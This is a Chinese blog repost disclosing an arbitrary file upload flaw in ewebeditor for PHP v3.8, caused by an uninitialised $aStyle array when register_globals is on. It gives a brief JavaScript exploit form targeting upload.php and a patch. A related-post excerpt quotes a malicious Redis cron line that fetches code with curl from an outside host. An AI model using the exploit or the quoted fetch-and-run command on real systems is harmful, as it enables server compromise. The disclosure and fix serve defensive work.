1. 全栈程序员必看首页

ewebeditor php漏洞,ewebeditor for php任意文件上传漏洞「建议收藏」

全栈程序员-站长 • • 未分类 • 阅读 11

ewebeditor php漏洞,ewebeditor for php任意文件上传漏洞「建议收藏」此漏洞仅测试了最新版v3.8,不知道低版本是否存在此漏洞。PHP版本的ewebeditor并没有使用数据库来保存配置信息，所有信息位于php/config.php中，代码如下：$sUsername=”admin”;$sPassword=”admin”;[separator]$aStyle[1]=”gray|||gray|||office|||../uploadfile/|||550||…

大家好，又见面了，我是你们的朋友全栈君。

此漏洞仅测试了最新版v3.8,不知道低版本是否存在此漏洞。PHP版本的ewebeditor并没有使用数据库来保存配置信息，所有信息位于php/config.php中，代码如下：

$sUsername = “admin”;

$sPassword = “admin”;[separator]

$aStyle[1] = “gray|||gray|||office|||../uploadfile/|||550|||350|||rar|zip|exe|doc|xls|chm|hlp|||swf|||gif|jpg|jpeg|bmp|||rm|mp3|wav|mid|midi|ra|avi|mpg|mpeg|asf|asx|wma|mov|||gif|jpg|jpeg|bmp|||500|||100|||100|||100|||100|||1|||1|||EDIT|||1|||0|||0|||||||||1|||0|||Office标准风格，部分常用按钮，标准适合界面宽度|||1|||zh-cn|||0|||500|||300|||0|||版权所有…|||FF0000|||12|||宋体||||||0|||jpg|jpeg|||300|||FFFFFF|||1|||1”;

……..

它将所有的风格配置信息保存为一个数组$aStyle,在register_global为on的情况下我们可以任意添加自己喜欢的风格，然后就可以在自己添加的风格中可以随意定义可上传文件类型。

这漏洞成因很简单，下面给个exp

URL:

file:

function fsubmit(){

form = document.forms[0];

form.action = form.url.value+’php/upload.php?action=save&type=FILE&style=toby57&language=en’;

alert(form.action);

form.submit();

}

漏洞修补方法：

初始化数组$aStyle

$sUsername = “admin”;

$sPassword = “admin”;

$aStyle = array();

$aStyle[1] = “gray|||gray|||office|||../uploadfile/|||550|||350|||rar|zip|exe|doc|xls|chm|hlp|||swf|||gif|jpg|jpeg|bmp|||rm|mp3|wav|mid|midi|ra|avi|mpg|mpeg|asf|asx|wma|mov|||gif|jpg|jpeg|bmp|||500|||100|||100|||100|||100|||1|||1|||EDIT|||1|||0|||0|||||||||1|||0|||Office标准风格，部分常用按钮，标准适合界面宽度|||1|||zh-cn|||0|||500|||300|||0|||版权所有…|||FF0000|||12|||宋体||||||0|||jpg|jpeg|||300|||FFFFFF|||1|||1”;

本文由站长原创或收集，不代表本站立场，如若转载，请注明出处：http://www.yesck.com/post/33/

版权声明：本文内容由互联网用户自发贡献，该文观点仅代表作者本人。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容， 请联系我们举报，一经查实，本站将立刻删除。

发布者：全栈程序员-站长，转载请注明出处：https://javaforall.net/159083.html原文链接：https://javaforall.net

赞 (0)
全栈程序员-站长的头像全栈程序员-站长
0 0


相关推荐

  • python获取uuid_python split函数

    python获取uuid_python split函数

    python获取uuid_python split函数importuuidprintuuid.uuid1()

    全栈程序员-站长的头像 全栈程序员-站长
    2022年8月10日
    3
  • VMM TEST「建议收藏」

    VMM TEST「建议收藏」

    VMM TEST「建议收藏」vmm_testisintroducedinvmm1.1.Toknowthevmmversionwhichyouareusing,usethiscommandvcs-R-sverilog-ntb_optsdtm        +incdir+$VMM_HOME/sv$VMM_HOME/sv/vmm_versions.svv

    全栈程序员-站长的头像 全栈程序员-站长
    2022年9月22日
    0
  • 学习prototypejs中的继承实现机制(一): Object.extend()、Class.create()、Class#addMethods()的使用[通俗易懂]

    学习prototypejs中的继承实现机制(一): Object.extend()、Class.create()、Class#addMethods()的使用[通俗易懂]

    学习prototypejs中的继承实现机制(一): Object.extend()、Class.create()、Class#addMethods()的使用[通俗易懂]$super是不是和java中的继承有点像，我们居然可以使用$super来调用父类中的方法。不过有些差别：java中可以使用super调用父类中的任何公开的方法，但是在prototypejs里面$super只是一个方法，不是父对象。我们先研究下，prototypejs是如何做到$super，后面再看我们能不能改造它，让$super更像java中的super关键字。

    全栈程序员-站长的头像 全栈程序员-站长
    2022年7月22日
    11
  • Redis 6379 被攻击

    Redis 6379 被攻击

    Redis 6379 被攻击Redis6379被攻击刚开始使用redis，把端口打开了，然后没有设置密码，导致被恶意攻击，这里记录一下。[root@realguo~]#redis-cli127.0.0.1:6379>keys*1)”backup2″2)”backup1″3)”backup4″4)”backup3″127.0.0.1:6379>getbackup1″\n\n\n*/2****rootcd1-fsSLhttp://zzhreceive.anondn

    全栈程序员-站长的头像 全栈程序员-站长
    2022年5月12日
    57
  • 如何完成一张机房3d效果图

    如何完成一张机房3d效果图

    如何完成一张机房3d效果图制作机房3D效果图作者：西安曼笛文化传播有限公司     赵希希 随着信息技术的不断发展，网络的更新，平安城市的规划，大量数据中心的建设，机房监控软件也慢慢的推进，机房效果图也有很大的改进。 从cad到简易的效果图在到成熟的3d效果图.如下图1；图2；图3所示：图1图2图3现在的机房效果图不光体现整体的图形，材质，还有会体现很多细节：

    全栈程序员-站长的头像 全栈程序员-站长
    2022年6月2日
    34
  • JAVA设计模式之代理模式 设计模式

    JAVA设计模式之代理模式

    【代理模式应用场景举例】比如在玩“极品飞车”这款游戏，如果游戏者手中的金钱达到了一定的数量就可以到车店买一部性能更高的赛车，那么这个卖车的“车店”就是一个典型的“汽车厂家”的“代理”，他为汽车厂家“提供卖车的服务”给有需求的人士。从面向对象的方面考虑，“销售汽车的代理”也是一个对象，那么这个对象也具有一定的状态，在软件项目中这个对象也具有管理财务进销存的基本功能，那么在设计时就要以面向OOP编

    全栈程序员-站长的头像 全栈程序员-站长
    2022年3月11日
    33

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注

关注全栈程序员社区公众号